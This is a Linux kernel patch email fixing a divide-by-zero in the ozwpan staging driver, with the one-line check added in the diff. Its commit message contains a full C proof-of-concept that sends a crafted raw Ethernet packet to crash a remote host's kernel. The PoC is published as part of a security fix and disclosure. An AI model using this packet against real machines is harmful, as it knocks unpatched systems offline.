| From 04bf464a5dfd9ade0dda918e44366c2c61fce80b Mon Sep 17 00:00:00 2001 |
| From: "Jason A. Donenfeld" <Jason@zx2c4.com> |
| Date: Fri, 29 May 2015 13:07:00 +0200 |
| Subject: ozwpan: divide-by-zero leading to panic |
| |
| From: "Jason A. Donenfeld" <Jason@zx2c4.com> |
| |
| commit 04bf464a5dfd9ade0dda918e44366c2c61fce80b upstream. |
| |
| A network supplied parameter was not checked before division, leading to |
| a divide-by-zero. Since this happens in the softirq path, it leads to a |
| crash. A PoC follows below, which requires the ozprotocol.h file from |
| this module. |
| |
| =-=-=-=-=-= |
| |
| #include <arpa/inet.h> |
| #include <linux/if_packet.h> |
| #include <net/if.h> |
| #include <netinet/ether.h> |
| #include <stdio.h> |
| #include <string.h> |
| #include <stdlib.h> |
| #include <endian.h> |
| #include <sys/ioctl.h> |
| #include <sys/socket.h> |
| |
| #define u8 uint8_t |
| #define u16 uint16_t |
| #define u32 uint32_t |
| #define __packed __attribute__((__packed__)) |
| #include "ozprotocol.h" |
| |
| static int hex2num(char c) |
| { |
| if (c >= '0' && c <= '9') |
| return c - '0'; |
| if (c >= 'a' && c <= 'f') |
| return c - 'a' + 10; |
| if (c >= 'A' && c <= 'F') |
| return c - 'A' + 10; |
| return -1; |
| } |
| static int hwaddr_aton(const char *txt, uint8_t *addr) |
| { |
| int i; |
| for (i = 0; i < 6; i++) { |
| int a, b; |
| a = hex2num(*txt++); |
| if (a < 0) |
| return -1; |
| b = hex2num(*txt++); |
| if (b < 0) |
| return -1; |
| *addr++ = (a << 4) | b; |
| if (i < 5 && *txt++ != ':') |
| return -1; |
| } |
| return 0; |
| } |
| |
| int main(int argc, char *argv[]) |
| { |
| if (argc < 3) { |
| fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); |
| return 1; |
| } |
| |
| uint8_t dest_mac[6]; |
| if (hwaddr_aton(argv[2], dest_mac)) { |
| fprintf(stderr, "Invalid mac address.\n"); |
| return 1; |
| } |
| |
| int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); |
| if (sockfd < 0) { |
| perror("socket"); |
| return 1; |
| } |
| |
| struct ifreq if_idx; |
| int interface_index; |
| strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); |
| if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { |
| perror("SIOCGIFINDEX"); |
| return 1; |
| } |
| interface_index = if_idx.ifr_ifindex; |
| if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { |
| perror("SIOCGIFHWADDR"); |
| return 1; |
| } |
| uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; |
| |
| struct { |
| struct ether_header ether_header; |
| struct oz_hdr oz_hdr; |
| struct oz_elt oz_elt; |
| struct oz_elt_connect_req oz_elt_connect_req; |
| struct oz_elt oz_elt2; |
| struct oz_multiple_fixed oz_multiple_fixed; |
| } __packed packet = { |
| .ether_header = { |
| .ether_type = htons(OZ_ETHERTYPE), |
| .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, |
| .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } |
| }, |
| .oz_hdr = { |
| .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), |
| .last_pkt_num = 0, |
| .pkt_num = htole32(0) |
| }, |
| .oz_elt = { |
| .type = OZ_ELT_CONNECT_REQ, |
| .length = sizeof(struct oz_elt_connect_req) |
| }, |
| .oz_elt_connect_req = { |
| .mode = 0, |
| .resv1 = {0}, |
| .pd_info = 0, |
| .session_id = 0, |
| .presleep = 0, |
| .ms_isoc_latency = 0, |
| .host_vendor = 0, |
| .keep_alive = 0, |
| .apps = htole16((1 << OZ_APPID_USB) | 0x1), |
| .max_len_div16 = 0, |
| .ms_per_isoc = 0, |
| .up_audio_buf = 0, |
| .ms_per_elt = 0 |
| }, |
| .oz_elt2 = { |
| .type = OZ_ELT_APP_DATA, |
| .length = sizeof(struct oz_multiple_fixed) |
| }, |
| .oz_multiple_fixed = { |
| .app_id = OZ_APPID_USB, |
| .elt_seq_num = 0, |
| .type = OZ_USB_ENDPOINT_DATA, |
| .endpoint = 0, |
| .format = OZ_DATA_F_MULTIPLE_FIXED, |
| .unit_size = 0, |
| .data = {0} |
| } |
| }; |
| |
| struct sockaddr_ll socket_address = { |
| .sll_ifindex = interface_index, |
| .sll_halen = ETH_ALEN, |
| .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } |
| }; |
| |
| if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { |
| perror("sendto"); |
| return 1; |
| } |
| return 0; |
| } |
| |
| Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com> |
| Acked-by: Dan Carpenter <dan.carpenter@oracle.com> |
| Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org> |
| |
| --- |
| drivers/staging/ozwpan/ozusbsvc1.c | 5 ++++- |
| 1 file changed, 4 insertions(+), 1 deletion(-) |
| |
| --- a/drivers/staging/ozwpan/ozusbsvc1.c |
| +++ b/drivers/staging/ozwpan/ozusbsvc1.c |
| @@ -326,7 +326,10 @@ static void oz_usb_handle_ep_data(struct |
| struct oz_multiple_fixed *body = |
| (struct oz_multiple_fixed *)data_hdr; |
| u8 *data = body->data; |
| - int n = (len - sizeof(struct oz_multiple_fixed)+1) |
| + int n; |
| + if (!body->unit_size) |
| + break; |
| + n = (len - sizeof(struct oz_multiple_fixed)+1) |
| / body->unit_size; |
| while (n--) { |
| oz_hcd_data_ind(usb_ctx->hport, body->endpoint, |